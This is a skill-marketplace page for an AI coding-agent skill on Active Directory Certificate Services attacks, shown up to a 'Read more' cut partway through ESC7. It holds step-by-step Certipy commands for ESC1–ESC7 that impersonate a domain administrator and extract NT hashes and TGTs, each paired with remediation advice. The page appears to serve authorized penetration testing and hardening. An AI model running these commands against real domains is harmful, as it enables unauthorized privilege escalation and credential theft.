Skip to content
Security
Skill

/adcs-attacks

Active Directory Certificate Services (AD CS) escalation techniques ESC1 through ESC17, driven by hand with Certipy (ly4k). Use when the target runs a Certificate Authority and you want to find vulnerable certificate templates or CA misconfigurations, request a certificate that

From plugin
claude-ad
2198 skills3 agents3 commands

Claude Code

$ npx -y skills add ADScanPro/Claude-AD --skill adcs-attacks --agent claude-code

SKILL.md

adcs-attacks.SKILL.md
name: adcs-attacks
description: Active Directory Certificate Services (AD CS) escalation techniques ESC1 through ESC17, driven by hand with Certipy (ly4k). Use when the target runs a Certificate Authority and you want to find vulnerable certificate templates or CA misconfigurations, request a certificate that impersonates a privileged user, and know the exact certipy command, what each ESC actually checks, the Windows Event IDs that fire, and the remediation. ESC1 and ESC8 are the two you hit most in the field.

AD CS Attacks (ESC1–ESC17)

AD CS is the single richest privilege-escalation surface in modern AD. A misconfigured template or CA lets a low-privileged user obtain a certificate that authenticates as a Domain Admin. This skill uses **Certipy** (the `ly4k` project) throughout. You drive it by hand.

The whole thing starts with one enumeration pass. Run it first, read the output, then pick the ESC that applies.

certipy find -u user@corp.local -p 'Password123' -dc-ip 10.0.0.10 -vulnerable -stdout

Certipy names each finding by its ESC number, so the tool's output tells you which of the below applies. Save the full JSON/BloodHound output for the report:

certipy find -u user@corp.local -p 'Password123' -dc-ip 10.0.0.10 -vulnerable -old-bloodhound

The generic exploitation pattern, once you know the template/CA: request a cert, then authenticate with it to recover an NT hash or a TGT. `-target` is the CA/enrollment host and must be an FQDN, not an IP.

certipy req -u user@corp.local -p 'Password123' -dc-ip 10.0.0.10 \
  -target ca.corp.local -ca CORP-CA -template <VulnTemplate> [attack-specific flags]
certipy auth -pfx administrator.pfx -domain corp.local

`certipy auth` performs PKINIT and hands you the TGT plus the NT hash of the impersonated account. If it errors with an object SID mismatch, add `-sid <target-SID>`.

---

ESC1: Enrollee-supplied SAN (MOST COMMON)

**What it checks.** A template where low-priv users can enroll, the template has an authentication EKU (Client Authentication / PKINIT / Smart Card Logon), and `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` is set, meaning the requester chooses the Subject Alternative Name. You put a Domain Admin's UPN in the SAN and get a cert that authenticates as them.

certipy req -u user@corp.local -p 'Password123' -dc-ip 10.0.0.10 \
  -target ca.corp.local -ca CORP-CA -template VulnUserTemplate -upn administrator@corp.local
certipy auth -pfx administrator.pfx -domain corp.local

**Remediation.** Remove `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` from templates that have an authentication EKU. Require CA manager approval for enrollment. Restrict enrollment permissions.

---

ESC2: Any Purpose / no EKU template

**What it checks.** A template with the Any Purpose EKU (or no EKU at all) that low-priv users can enroll in. The resulting certificate can be used for client authentication (and more), so it behaves like ESC1 without the SAN requirement, subject to how the CA maps it.

certipy req -u user@corp.local -p 'Password123' -ca CORP-CA -template AnyPurposeTemplate

**Remediation.** Define explicit, minimal EKUs; never leave Any Purpose or empty EKU on enrollable templates.

---

ESC3: Enrollment Agent certificate

**What it checks.** A template granting the Certificate Request Agent EKU. You enroll to get an enrollment-agent cert, then use it to request a certificate *on behalf of* another user.

certipy req -u user@corp.local -p 'Password123' -ca CORP-CA -template EnrollAgentTemplate
certipy req -u user@corp.local -p 'Password123' -ca CORP-CA -template User \
  -on-behalf-of 'CORP\administrator' -pfx enrollment_agent.pfx

**Remediation.** Restrict who can enroll in enrollment-agent templates; use enrollment-agent restrictions on the CA.

---

ESC4: Template ACL is writable

**What it checks.** You have write access (GenericWrite/WriteDacl/Owner) over the template object itself. You rewrite the template to be ESC1-vulnerable, exploit it, then revert. Certipy automates the flip.

certipy template -u user@corp.local -p 'Password123' -template VulnTemplate \
  -save-old -dc-ip 10.0.0.10
# now exploit as ESC1, then restore:
certipy template -u user@corp.local -p 'Password123' -template VulnTemplate \
  -configuration VulnTemplate.json

**Remediation.** Remove write ACEs on template objects for non-Tier-0 principals.

---

ESC5: PKI object ACL / CA object control

**What it checks.** Control over PKI-related AD objects (the CA computer object, the CA's container in the Configuration partition, etc.). Broad; it collapses to whatever the writable object lets you change. Assess and remediate via the same ACL discipline as ESC4.

**Remediation.** Audit ACLs on the whole `CN=Public Key Services` configuration container.

---

ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA

**What it checks.** The CA has the `EDITF_ATTRIBUTESUBJECTALTNAME2` flag set, which lets a requester specify an arbitrary SAN on *any* request regardless of the template. It is effectively domain-wide ESC1. (Note: the May 2022 certificate-mapping hardening blunts SAN-only spoofing on patched DCs, but the misconfiguration is still a finding.)

certipy req -u user@corp.local -p 'Password123' -ca CORP-CA \
  -template User -upn administrator@corp.local

**Remediation.** Remove the flag: `certutil -config "CA\CORP-CA" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2`, then restart certsvc.

---

ESC7: Vulnerable CA access control (ManageCA / ManageCertificates)

**What it checks.** You hold the ManageCA or Manage Certificates right on the CA. ManageCA lets you flip CA settings (e.g. enable ESC6) or add yourself as a certificate manager to approve pending requests.

certipy ca -u user@corp.local -p 'Password123' -ca CORP-CA -add-officer user
certipy ca -u user@corp.local -p 'Password123' -ca CORP-CA -enable-template SubCA

**Remediation.** Restrict ManageCA/ManageCertificates to Tier-0 CA ad

Read more
@adscanpro
Ships withclaude-ad

Active Directory pentest methodology for Claude Code. Skills, agents and commands that give Claude the playbook for an internal Active Directory assessment: the phase order, the environment constraints that break your tooling, the telemetry each technique

2198 skills3 agents
Get the whole plugin

Stars on GitHub

Momentum

stars in total
219
Star history of ADScanPro/Claude-AD on GitHub, a chart by star-history.com

Other skills on claude-ad.

acl-abuse

acl-abuse

Abusing Active Directory object ACLs (DACL/ownership) for privilege escalation and lateral movement (GenericAll, GenericWrite,…

@adscanpro@adscanproInstall Skill
ad-methodology

ad-methodology

The order of operations for an Active Directory penetration test: setup, collection, exploitation, post-processing. Use this…

@adscanpro@adscanproInstall Skill
ad-opsec-telemetry

ad-opsec-telemetry

The telemetry each Active Directory technique generates and what alerts a defender: Kerberoasting produces Event 4769 with RC4…

@adscanpro@adscanproInstall Skill
coercion-ntlm-relay

coercion-ntlm-relay

Authentication coercion (PetitPotam MS-EFSR, PrinterBug MS-RPRN, DFSCoerce MS-DFSNM) chained into NTLM relay (impacket…

@adscanpro@adscanproInstall Skill
compliance-mapping

compliance-mapping

A high-level conceptual mapping from Active Directory attack techniques to the compliance controls they touch. Kerberoasting…

@adscanpro@adscanproInstall Skill

More skills from other plugins.

api-security

api-security

Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…

@zhaoxuya520@zhaoxuya520Install Skill
nemoclaw-user-guide

nemoclaw-user-guide

Find official NemoClaw documentation for installation, configuration, operation, or troubleshooting. Also handles requested docs…

@nvidia@nvidiaInstall Skill

Questions about adcs-attacks.

Which coding agents can use adcs-attacks?
adcs-attacks installs in Claude Code, Codex, Cursor, Gemini CLI, GitHub Copilot, OpenCode and Windsurf with the skills CLI, using each agent's flag shown on this page. Flowy's auto-invocation, which fires a skill when your prompt matches, runs in Claude Code only.